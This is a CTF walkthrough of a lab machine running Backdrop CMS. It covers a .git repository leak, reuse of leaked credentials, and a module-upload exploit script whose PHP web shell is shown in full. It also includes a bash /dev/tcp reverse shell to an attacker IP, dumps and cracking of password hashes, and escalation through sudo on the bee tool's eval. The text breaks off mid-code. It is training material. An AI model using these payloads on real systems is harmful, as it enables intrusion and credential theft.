RECON

Port Scan

$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEJsqBRTZaxqvLcuvWuqOclXU1uxwUJv98W1TfLTgTYqIBzWAqQR7Y6fXBOUS6FQ9xctARWGM3w3AeDw+MW0j+iH83gc9J4mTFTBP8bXMgRqS2MtoeNgKWozPoy6wQjuRSUammW772o8rsU2lFPq3fJCoPgiC7dR4qmrWvgp5TV8GuExl7WugH6/cTGrjoqezALwRlKsDgmAl6TkAaWbCC1rQ244m58ymadXaAx5I5NuvCxbVtw32/eEuyqu+bnW8V2SdTTtLCNOe1Tq0XJz3mG9rw8oFH+Mqr142h81jKzyPO/YrbqZi2GvOGF+PNxMg+4kWLQ559we+7mLIT7ms0esal5O6GqIVPax0K21+GblcyRBCCNkawzQCObo5rdvtELh0CPRkBkbOPo4CfXwd/DxMnijXzhR/lCLlb2bqYUMDxkfeMnmk8HRF+hbVQefbRC/+vWf61o2l0IFEr1IJo3BDtJy5m2IcWCeFX3ufk5Fme8LTzAsk6G9hROXnBZg8=
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM/NEdzq1MMEw7EsZsxWuDa+kSb+OmiGvYnPofRWZOOMhFgsGIWfg8KS4KiEUB2IjTtRovlVVot709BrZnCvU8Y=
|   256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPMpkoATGAIWQVbEl67rFecNZySrzt944Y/hWAyq4dPc
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510
|_http-title: Home | Dog
| http-git: 
|   10.129.53.154:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries 
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
| /user/password /user/login /user/logout /?q=admin /?q=comment/reply 
| /?q=filter/tips /?q=node/add /?q=search /?q=user/password 
|_/?q=user/register /?q=user/login /?q=user/logout
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The Nmap report has identified a Git Leak:

http-git: 
  10.129.53.154:80/.git/

And the exposed robots.txt reveals this is a Backdrop CMS server:

User-agent: *
Crawl-delay: 10
# Directories
Disallow: /core/
Disallow: /profiles/
# Files
Disallow: /README.md
Disallow: /web.config
# Paths (clean URLs)
Disallow: /admin
Disallow: /comment/reply
Disallow: /filter/tips
Disallow: /node/add
Disallow: /search
Disallow: /user/register
Disallow: /user/password
Disallow: /user/login
Disallow: /user/logout
# Paths (no clean URLs)
Disallow: /?q=admin
Disallow: /?q=comment/reply
Disallow: /?q=filter/tips
Disallow: /?q=node/add
Disallow: /?q=search
Disallow: /?q=user/password
Disallow: /?q=user/register
Disallow: /?q=user/login
Disallow: /?q=user/logout

Port 80 | Backdrop CMS

Backdrop CMS is an open-source content management system (CMS) designed for small- to medium-sized websites. It is a fork of Drupal 7, offering similar functionality but optimized for performance and ease of use. It's PHP-based (typically runs on Apache, MySQL), which can be verified using whatweb:

$ whatweb http://dog.htb

http://dog.htb [200 OK] Apache[2.4.41], Content-Language[en], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.53.154], UncommonHeaders[x-backdrop-cache,x-generator], X-Frame-Options[SAMEORIGIN]

From the home page, one post exposes a username dogBackDropSystem for the CMS:

We can review those endpoints revealed in robots.txt. For example, http://dog.htb/?q=user/login:

We cannot register ourselves via /?q=user/register (Access denied), but /?q=user/password is available for password reset as shown above.

WEB

Git Leak

Nmap identified a Git repository leak, allowing us to dump the full repo using git-dumper (GitHub):

A full repository dump reveals multiple files, including configurations and source code:

$ tree gitdump -L2 -a

gitdump
├── core
│   ├── authorize.php
│   ├── cron.php
│   ├── includes
│   ├── install.php
│   ├── .jshintignore
│   ├── .jshintrc
│   ├── layouts
│   ├── misc
│   ├── modules
│   ├── profiles
│   ├── scripts
│   ├── themes
│   └── update.php
├── files
│   ├── config_83dddd18e1ec67fd8ff5bba2453c7fb3
│   ├── css
│   ├── field
│   ├── .htaccess
│   ├── js
│   ├── README.md
│   └── styles
├── .git
│   ├── COMMIT_EDITMSG
│   ├── config
│   ├── description
│   ├── HEAD
│   ├── hooks
│   ├── index
│   ├── info
│   ├── logs
│   ├── objects
│   └── refs
├── index.php
├── layouts
│   └── README.md
├── LICENSE.txt
├── README.md
├── robots.txt
├── settings.php
├── sites
│   ├── README.md
│   └── sites.php
└── themes
    └── README.md

24 directories, 22 files

Time for enumeration.

Enum | Git

With full repository access, our next step is analyzing commit history and searching for sensitive data:

Bash
cd gitdump
git log 

Only a single commit exists, so we refine our search for potential credentials by looking at the current repo. We can narrow down keyword ranges to look for credentials. For example, look for some internal accounts by filtering the email address uncovered in last step:

Bash
git grep -i "@dog.htb"

This reveals a user account [email protected] for the CMS:

Next, we should always look into the configuration files of web applications, which is settings.php in this case, revealing database credentials for MySQL database:

This uncovers MySQL credentials:

mysql://root:[email protected]/backdrop

Password Reuse

With a valid username and password, we attempt to log in to the CMS with [email protected] / BackDropJ2024DS2024:

Success. We now have Administrator access to the Backdrop CMS.

RCE

Once enter a CMS as Administrator, there're always different ways to RCE - such as Theme Editor, Module Installation, Database Query, Cron Jobs, etc.

Here, as the first step we can identify the version information:

An exploit script for Backdrop 1.27.1 can be found on Exploit DB, by abusing its module upload functionality to gain Remote Code Execution (RCE), after we have valid admin credentials to access /admin/modules/install.

Python
import os
import time
import zipfile

def create_files():
    info_content = """
    type = module
    name = Block
    description = Controls the visual building blocks a page is constructed
    with. Blocks are boxes of content rendered into an area, or region, of a
    web page.
    package = Layouts
    tags[] = Blocks
    tags[] = Site Architecture
    version = BACKDROP_VERSION
    backdrop = 1.x

    configure = admin/structure/block

    ; Added by Backdrop CMS packaging script on 2024-03-07
    project = backdrop
    version = 1.27.1
    timestamp = 1709862662
    """
    shell_info_path = "shell/shell.info"
    os.makedirs(os.path.dirname(shell_info_path), exist_ok=True)  # Klasörüoluşturur
    with open(shell_info_path, "w") as file:
        file.write(info_content)

    shell_content = """
    <html>
    <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form>
    <pre>
    <?php
    if(isset($_GET['cmd']))
    {
    system($_GET['cmd']);
    }
    ?>
    </pre>
    </body>
    </html>
    """
    shell_php_path = "shell/shell.php"
    with open(shell_php_path, "w") as file:
        file.write(shell_content)
    return shell_info_path, shell_php_path

def create_zip(info_path, php_path):
    zip_filename = "shell.zip"
    with zipfile.ZipFile(zip_filename, 'w') as zipf:
        zipf.write(info_path, arcname='shell/shell.info')
        zipf.write(php_path, arcname='shell/shell.php')
    return zip_filename

def main(url):
    print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit")
    time.sleep(3)

    print("Evil module generating...")
    time.sleep(2)

    info_path, php_path = create_files()
    zip_filename = create_zip(info_path, php_path)

    print("Evil module generated!", zip_filename)
    time.sleep(2)

    print("Go to " + url + "/admin/modules/install and upload the " +
          zip_filename + " for Manual Installation.")
    time.sleep(2)

    print("Your shell address:", url + "/modules/shell/shell.php")

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print("Usage: python script.py [url]")
    else:
        main(sys.argv[1])

The script creates a Backdrop CMS module that includes:

  • shell.info – A legitimate module metadata file.
  • shell.php – A one-line PHP web shell to execute arbitrary commands.

First we simple run the script to generate a ZIP module:

Bash
python script.py http://dog.htb

Then upload the Zipped module for manual installation. Instead of following the default instruction from the output blindly, we should go to http://dog.htb/?q=admin/modules/install, because the author has customized the URL alias indicated in our previous enumeration.

Upon attempting to upload the ZIP module, we encounter file type restrictions:

To bypass this, we manually package the payload using tar:

Bash
tar -czvf shell.tar.gz shell

Once uploaded, we test our shell access via http://dog.htb/modules/shell/shell.php?cmd=whoami:

Execute a command for reverse shell such as bash -c 'bash -i >& /dev/tcp/10.10.16.8/4444 0>&1' after setting up an listener on our attack machine:

We obtain a shell as www-data.

USER

Enum

After gaining a foothold as www-data, we check home directories to identify potential escalation targets:

www-data@dog:~$ ls -l /home
total 8
drwxr-xr-x 4 jobert     jobert     4096 Feb  7 15:59 jobert
drwxr-xr-x 3 johncusack johncusack 4096 Feb  7 15:59 johncusack

www-data@dog:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false

Since we have read permission to /home directory:

www-data@dog:/home$ ls john*
user.txt

www-data@dog:/home$ cat john*/user.txt
cat john*/user.txt
cat: johncusack/user.txt: Permission denied

But we cannot read the target under /home/johncusack/user.txt. Neither on user jobert:

www-data@dog:/home$ cd jober*

www-data@dog:/home/jobert$ ls -al
total 28
drwxr-xr-x 4 jobert jobert 4096 Feb  7 15:59 .
drwxr-xr-x 4 root   root   4096 Aug 15  2024 ..
lrwxrwxrwx 1 root   root      9 Feb  7 15:59 .bash_history -> /dev/null
-rw-r--r-- 1 jobert jobert  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 jobert jobert 3771 Feb 25  2020 .bashrc
drwx------ 2 jobert jobert 4096 Jul  8  2024 .cache
lrwxrwxrwx 1 root   root      9 Feb  7 15:59 .mysql_history -> /dev/null
-rw-r--r-- 1 jobert jobert  807 Feb 25  2020 .profile
drwx------ 2 jobert jobert 4096 Jul  8  2024 .ssh
-rw-r--r-- 1 jobert jobert    0 Jul  8  2024 .sudo_as_admin_successful

www-data@dog:/home/jobert$ ls .ssh -a
ls .ssh -a
ls: cannot open directory '.ssh': Permission denied

Port 3306 (MySQL) is listening locally:

www-data@dog:/home/jobert$ netstat -lantp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0    300 10.129.53.154:45778     10.10.16.8:4444         ESTABLISHED 2886/bash           
tcp        0      1 10.129.53.154:49826     1.1.1.1:53              SYN_SENT    -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 10.129.53.154:80        10.10.16.8:51650        ESTABLISHED -

Rabbit Hole | MySQL

Recall we previously extracted the database credentials from settings.php:

mysql://root:[email protected]/backdrop

Attempt to authenticate with root / BackDropJ2024DS2024:

Bash
mysql -uroot -p

And look for user credentials:

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| backdrop           |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

mysql> use backdrop;
use backdrop;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed

mysql> show tables;
show tables;
+-----------------------------+
| Tables_in_backdrop          |
+-----------------------------+
| batch                       |
| cache                       |
| cache_admin_bar             |
| cache_bootstrap             |
| cache_entity_comment        |
| cache_entity_file           |
| cache_entity_node           |
| cache_entity_taxonomy_term  |
| cache_entity_user           |
| cache_field                 |
| cache_filter                |
| cache_layout_path           |
| cache_menu                  |
| cache_page                  |
| cache_path                  |
| cache_token                 |
| cache_update                |
| cache_views                 |
| cache_views_data            |
| comment                     |
| field_data_body             |
| field_data_comment_body     |
| field_data_field_image      |
| field_data_field_tags       |
| field_revision_body         |
| field_revision_comment_body |
| field_revision_field_image  |
| field_revision_field_tags   |
| file_managed                |
| file_metadata               |
| file_usage                  |
| flood                       |
| history                     |
| menu_links                  |
| menu_router                 |
| node                        |
| node_access                 |
| node_comment_statistics     |
| node_revision               |
| queue                       |
| redirect                    |
| search_dataset              |
| search_index                |
| search_node_links           |
| search_total                |
| semaphore                   |
| sequences                   |
| sessions                    |
| state                       |
| system                      |
| taxonomy_index              |
| taxonomy_term_data          |
| taxonomy_term_hierarchy     |
| tempstore                   |
| url_alias                   |
| users                       |
| users_roles                 |
| variable                    |
| watchdog                    |
+-----------------------------+
59 rows in set (0.01 sec)

mysql> select * from users;
select * from users;
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
| uid | name              | pass                                                    | mail                       | signature | signature_format | created    | changed    | access     | login      | status | timezone | language | picture | init                       | data       |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
|   0 |                   |                                                         |                            |           | NULL             |          0 |          0 |          0 |          0 |      0 | NULL     |          |       0 |                            | NULL       |
|   1 | jPAdminB          | $S$E7dig1GTaGJnzgAXAtOoPuaTjJ05fo8fH9USc6vO87T./ffdEr/. | [email protected]           |           | NULL             | 1720548614 | 1720584122 | 1720714603 | 1720584166 |      1 | UTC      |          |       0 | [email protected]           | 0x623A303B |
|   2 | jobert            | $S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1 | [email protected]             |           | NULL             | 1720584462 | 1720584462 | 1720632982 | 1720632780 |      1 | UTC      |          |       0 | [email protected]             | NULL       |
|   3 | dogBackDropSystem | $S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD | [email protected] |           | NULL             | 1720632880 | 1720632880 | 1723752097 | 1723751569 |      1 | UTC      |          |       0 | [email protected] | NULL       |
|   5 | john              | $S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji. | [email protected]               |           | NULL             | 1720632910 | 1720632910 |          0 |          0 |      1 | UTC      |          |       0 | [email protected]               | NULL       |
|   6 | morris            | $S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS | [email protected]             |           | NULL             | 1720632931 | 1720632931 |          0 |          0 |      1 | UTC      |          |       0 | [email protected]             | NULL       |
|   7 | axel              | $S$E/DHqfjBWPDLnkOP5auHhHDxF4U.sAJWiODjaumzxQYME6jeo9qV | [email protected]               |           | NULL             | 1720632952 | 1720632952 |          0 |          0 |      1 | UTC      |          |       0 | [email protected]               | NULL       |
|   8 | rosa              | $S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT | [email protected]               |           | NULL             | 1720632982 | 1720632982 |          0 |          0 |      1 | UTC      |          |       0 | [email protected]               | NULL       |
|  10 | tiffany           | $S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v | [email protected]            |           | NULL             | 1723752136 | 1723752136 | 1741502403 | 1741500230 |      1 | UTC      |          |       0 | [email protected]            | NULL       |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
9 rows in set (0.00 sec)

Extract the password hashes:

jPAdminB:$S$E7dig1GTaGJnzgAXAtOoPuaTjJ05fo8fH9USc6vO87T./ffdEr/.
jobert:$S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1
dogBackDropSystem:$S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD
john:$S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji.
morris:$S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS
axel:$S$E/DHqfjBWPDLnkOP5auHhHDxF4U.sAJWiODjaumzxQYME6jeo9qV
rosa:$S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT
tiffany:$S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v

Identify the hash type of the found hashes:

$ hashcat --identify '$S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v'
The following hash-mode match the structure of your input hash:

      # | Name                         | Category
  ======+==============================+======================================
   7900 | Drupal7                      | Forums, CMS, E-Commerce

Since Hashcat identified the hash as Drupal 7 (-m 7900), we can now attempt cracking it efficiently:

Bash
hashcat -m 7900 -a 0 dog_hashes.txt /usr/share/wordlists/rockyou.txt --force

It takes too long for a CTF to crack:

Password Reuse

While waiting for Hashcat to crack any hashes, we attempt password reuse for discovered users. Testing johncusack with previously leaked MySQL credentials johncusack / BackDropJ2024DS2024 grants SSH access:

Now authenticated as johncusack, we retrieve the user flag.

ROOT

Sudo

From sudo -l, user johncusack has full sudo permissions to execute /usr/local/bin/bee, which is a symbolic link to /backdrop_tool/bee/bee.php:

johncusack@dog:~$ sudo -l
[sudo] password for johncusack: 
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee
    
johncusack@dog:~$ file /usr/local/bin/bee
/usr/local/bin/bee: symbolic link to /backdrop_tool/bee/bee.php

johncusack@dog:~$ ls -l /backdrop_tool/bee/bee.php
-rwxr-xr-x 1 root root 2905 Jul  9  2024 /backdrop_tool/bee/bee.php

It is owned by root, meaning executing it with sudo runs it as root.

Backdrop | Bee

Bee is a command line utility for Backdrop CMS. It includes commands that allow developers to interact with Backdrop sites, performing actions like:

  • Running cron
  • Clearing caches
  • Downloading and installing Backdrop
  • Downloading, enabling and disabling projects
  • Viewing information about a site and/or available projects

Inspect the PHP root directory for Bee:

johncusack@dog:~$ ls -l /backdrop_tool/bee/
total 68
-rw-r--r-- 1 root root 10606 Jul  9  2024 API.md
-rwxr-xr-x 1 root root  2905 Jul  9  2024 bee.php
-rw-r--r-- 1 root root   173 Jul  9  2024 box.json
-rw-r--r-- 1 root root  3277 Jul  9  2024 CHANGELOG.md
drwxr-xr-x 2 root root  4096 Jul  9  2024 commands
-rw-r--r-- 1 root root  3840 Jul  9  2024 CONTRIBUTING.md
drwxr-xr-x 2 root root  4096 Jul  9  2024 images
drwxr-xr-x 2 root root  4096 Jul  9  2024 includes
-rw-r--r-- 1 root root 18092 Jul  9  2024 LICENSE.txt
-rw-r--r-- 1 root root  2947 Jul  9  2024 README.md
drwxr-xr-x 4 root root  4096 Jul  9  2024 tests

johncusack@dog:~$ ls -l /backdrop_tool/bee/commands
total 184
-rw-r--r-- 1 root root  3269 Jul  9  2024 cache.bee.inc
-rw-r--r-- 1 root root  9736 Jul  9  2024 config.bee.inc
-rw-r--r-- 1 root root   747 Jul  9  2024 cron.bee.inc
-rw-r--r-- 1 root root 14238 Jul  9  2024 db.bee.inc
-rw-r--r-- 1 root root  4765 Jul  9  2024 dblog.bee.inc
-rw-r--r-- 1 root root 28573 Jul  9  2024 download.bee.inc
-rw-r--r-- 1 root root  7867 Jul  9  2024 help.bee.inc
-rw-r--r-- 1 root root  9016 Jul  9  2024 install.bee.inc
-rw-r--r-- 1 root root  2737 Jul  9  2024 php.bee.inc
-rw-r--r-- 1 root root 22045 Jul  9  2024 projects.bee.inc
-rw-r--r-- 1 root root 12597 Jul  9  2024 role.bee.inc
-rw-r--r-- 1 root root 10069 Jul  9  2024 state.bee.inc
-rw-r--r-- 1 root root  9245 Jul  9  2024 status.bee.inc
-rw-r--r-- 1 root root  2909 Jul  9  2024 update.bee.inc
-rw-r--r-- 1 root root 15168 Jul  9  2024 user.bee.inc
-rw-r--r-- 1 root root   663 Jul  9  2024 version.bee.inc

None of them is writable for us though. We can check the help menu of Bee:

johncusack@dog:~$ sudo bee
🐝 Bee
Usage: bee [global-options] <command> [options] [arguments]

Global Options:
 --root
 Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.

[...]

 ADVANCED

  eval
   ev, php-eval
   Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

  php-script
   scr
   Execute an arbitrary PHP file after bootstrapping Backdrop.

[...]

This provides enough information to begin Privesc. However, for learning purposes, we can take a deep dive into how the Bee tool works to understand its mechanics and potential vulnerabilities. (Skip the Code Review section and jump to the Exploit Section if you're only interested in exploiting Bee directly.)

Code Review

bee.php

Take a look at the main PHP script:

PHP
#!/usr/bin/env php
<?php
/**
 * @file
 * A command line utility for Backdrop CMS.
 */

// Exit gracefully with a meaningful message if installed within a web
// accessible location and accessed in the browser.
if (!bee_is_cli()) {
  echo bee_browser_load_html();
  die();
}

// Set custom error handler.
set_error_handler('bee_error_handler');

// Include files.
require_once __DIR__ . '/includes/miscellaneous.inc';
require_once __DIR__ . '/includes/command.inc';
require_once __DIR__ . '/includes/render.inc';
require_once __DIR__ . '/includes/filesystem.inc';
require_once __DIR__ . '/includes/input.inc';
require_once __DIR__ . '/includes/globals.inc';

// Main execution code.
bee_initialize_server();
bee_parse_input();
bee_initialize_console();
bee_process_command();
bee_print_messages();
bee_display_output();
exit();

/**
 * Custom error handler for `bee`.
 *
 * @param int $error_level
 *   The level of the error.
 * @param string $message
 *   Error message to output to the user.
 * @param string $filename
 *   The file that the error came from.
 * @param int $line
 *   The line number the error came from.
 * @param array $context
 *   An array of all variables from where the error was triggered.
 *
 * @see https://www.php.net/manual/en/function.set-error-handler.php
 * @see _backdrop_error_handler()
 */
function bee_error_handler($error_level, $message, $filename, $line, array $context = NULL) {
  require_once __DIR__ . '/includes/errors.inc';
  _bee_error_handler_real($error_level, $message, $filename, $line, $context);
}

/**
 * Detects whether the current script is running in a command-line environment.
 */
function bee_is_cli() {
  return (empty($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}

/**
 * Return the HTML to display if this page is loaded in the browser.
 *
 * @return string
 *   The concatentated html to display.
 */
function bee_browser_load_html() {
  // Set the title to use in h1 and title elements.
  $title = "Bee Gone!";
  // Place a white block over "#!/usr/bin/env php" as this is output before
  // anything else.
  $browser_output = "<div style='background-color:white;position:absolute;width:15rem;height:3rem;top:0;left:0;z-index:9;'> </div>";
  // Add the bee logo and style appropriately.
  $browser_output .= "<img src='./images/bee.png' align='right' width='150' height='157' style='max-width:100%;margin-top:3rem;'>";
  // Add meaningful text.
  $browser_output .= "<h1 style='font-family:Tahoma;'>$title</h1>";
  $browser_output .= "<p style='font-family:Verdana;'>Bee is a command line tool only and will not work in the browser.</p>";
  // Add the document title using javascript when the window loads.
  $browser_output .= "<script>window.onload = function(){document.title='$title';}</script>";
  // Output the combined string.
  return $browser_output;
}

The script is a command-line utility for Backdrop CMS, executed via /usr/local/bin/bee. We cam focus on the main execution part:

PHP
// Main execution code.
bee_initialize_server();
bee_parse_input();
bee_initialize_console();
bee_process_command();
bee_print_messages();
bee_display_output();
exit();

The name of the bee_process_command() function implies potential code execution. But it is not defined in this script, thus we can look for its details from where it's included, aka the command.inc

command.inc

The included PHP script is under PHP root directory, namely /backdrop_tool/bee/includes/command.inc. From the script we know that the bee command runs multiple external scripts in sequence.

Command Parsing | bee_parse_input()

Located in command.inc, this function processes user input as arguments:

PHP
function bee_parse_input() {
  global $argv, $_bee_command, $_bee_arguments, $_bee_options;

  foreach ($argv as $id => $arg) {
    if ($id == 0) { continue; } // Skip script name

    // Long options (--option=value)
    if (preg_match('#^--(\S+)#', $arg, $matches)) {
      $opt_name = $matches[1];
      $opt_value = TRUE;
      if (($pos_equals = strpos($arg, '=')) !== FALSE) {
        $opt_name = substr($arg, 2, $pos_equals - 2);
        $opt_value = substr($arg, $pos_equals + 1);
      }
      $_bee_options[$opt_name] = $opt_value;
      continue;
    }

    // Short options (-o)
    if (preg_match('#^-(\S+)#', $arg, $matches)) {
      $_bee_options[$matches[1]] = TRUE;
      continue;
    }

    // First non-option argument is the command
    if (empty($_bee_command)) {
      $_bee_command = $arg; // Stores argument as command
      continue;
    }

    // Remaining arguments are stored as command arguments
    $_bee_arguments[] = $arg; // Stores the command to evaluate
  }
}

The command-line arguments are parsed and classified into:

  • Command name ($_bee_command)
  • Options ($_bee_options)
  • Arguments ($_bee_arguments)

The if (empty($_bee_command)) if branch is interesting, that if we don't provide an options such as –-o or -o, the first non-option argument is treated as the command name. Then the remaining arguments are stored as parameters for that command - a Command Execution Primitive.

Command Execution | bee_process_command()

Once bee_parse_input() extracts the command, bee_process_command() tries to execute it:

PHP
function bee_process_command() {
  global $_bee_command, $_bee_arguments, $_bee_options, $_bee_command_aliases, $_bee_output;

  // Default to "help" if no command is provided
  if (empty($_bee_command)) {
    $_bee_command = 'help';
  }

  // Find available commands
  $commands = bee_all_commands();

  // Convert alias to actual command if applicable
  if (isset($_bee_command_aliases[$_bee_command])) {
    $_bee_command = $_bee_command_aliases[$_bee_command];
  }

  // Ensure command exists
  if (!isset($commands[$_bee_command])) {
    bee_message("There is no '!command' command.", 'error');
    return;
  }

  // Retrieve command descriptor
  $descriptor = $commands[$_bee_command];

  // Validate and execute command
  if (bee_validate_command($descriptor)) {
    $callback = $descriptor['callback'];  // Retrieves the function to call
    if (function_exists($callback)) {
      $_bee_output = $callback($_bee_arguments, $_bee_options); // Executes the callback
    }
  }
}

The bee_process_command() function will validate if our provided command exists within $commands retrieved from the callback function bee_all_commands(). Only if it does, the command will then be executed via $callback($_bee_arguments, $_bee_options);.

Command Registration | bee_all_commands()

This function loads command definitions dynamically:

PHP
function bee_all_commands($group = FALSE) {
  static $all_commands = array();

  if (empty($all_commands)) {
    // Retrieve a list of command files
    $list = bee_command_file_list();

    foreach ($list as $command_file => $path) {
      require_once $path; // Dynamically loads command files

      // Ensure the command file has the expected function
      $function = $command_file . '_bee_command';
      if (!function_exists($function)) {
        continue;
      }

      // Get commands from the function
      $descriptors = (array) $function();
      foreach ($descriptors as $command => $descriptor) {
        $all_commands[$command] = $descriptor;  // Stores the command definition
      }
    }
  }

  return $all_commands;
}

Command definitions are loaded from external *.bee.inc files under /backdrop_tool/bee/commands:

johncusack@dog:~$ ls -l /backdrop_tool/bee/commands
total 184
-rw-r--r-- 1 root root  3269 Jul  9  2024 cache.bee.inc
-rw-r--r-- 1 root root  9736 Jul  9  2024 config.bee.inc
-rw-r--r-- 1 root root   747 Jul  9  2024 cron.bee.inc
-rw-r--r-- 1 root root 14238 Jul  9  2024 db.bee.inc
-rw-r--r-- 1 root root  4765 Jul  9  2024 dblog.bee.inc
-rw-r--r-- 1 root root 28573 Jul  9  2024 download.bee.inc
-rw-r--r-- 1 root root  7867 Jul  9  2024 help.bee.inc
-rw-r--r-- 1 root root  9016 Jul  9  2024 install.bee.inc
-rw-r--r-- 1 root root  2737 Jul  9  2024 php.bee.inc
-rw-r--r-- 1 root root 22045 Jul  9  2024 projects.bee.inc
-rw-r--r-- 1 root root 12597 Jul  9  2024 role.bee.inc
-rw-r--r-- 1 root root 10069 Jul  9  2024 state.bee.inc
-rw-r--r-- 1 root root  9245 Jul  9  2024 status.bee.inc
-rw-r--r-- 1 root root  2909 Jul  9  2024 update.bee.inc
-rw-r--r-- 1 root root 15168 Jul  9  2024 user.bee.inc
-rw-r--r-- 1 root root   663 Jul  9  2024 version.bee.inc

Exploit

Root 1 | eval

With a deeper understanding of Bee, we analyze its Command Execution Mechanism. If no --o or -o option is provided, Bee treats the first argument as a command option, sourced from /backdrop_tool/bee/commands/*.bee.inc.

Therefore, we can search for evil function calls such as eval or assert for PHP (like we usually do in AWD ctfs finding backdoors):

Bash
find /backdrop_tool/bee/commands/ -name "*.bee.inc" | xargs egrep 'assert|eval'

Something interesting in php.bee.inc:

Take a look at it on how it defines the eval command:

PHP
function php_bee_command() {
  return array(
    'eval' => array(
      'description' => bt('Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.'),
      'callback' => 'eval_bee_callback',  // Points to eval_bee_callback() function
      'group' => 'advanced',
      'arguments' => array(
        'code' => bt('The PHP code to evaluate.'),
      ),
      'aliases' => array('ev', 'php-eval'),
      'bootstrap' => BEE_BOOTSTRAP_FULL,
    ),
  );
}

The command bee eval is mapped to eval_bee_callback(), which requires Backdrop CMS to be fully bootstrapped before executing code:

PHP
function eval_bee_callback($arguments, $options) {
  try {
    // phpcs:ignore Squiz.PHP.Eval -- integral part of the command
    eval($arguments['code'] . ';');  // EXECUTES USER INPUT AS PHP CODE
  }
  catch (ParseError $e) {
    $err_msg = bt('!msg in: !code', array(
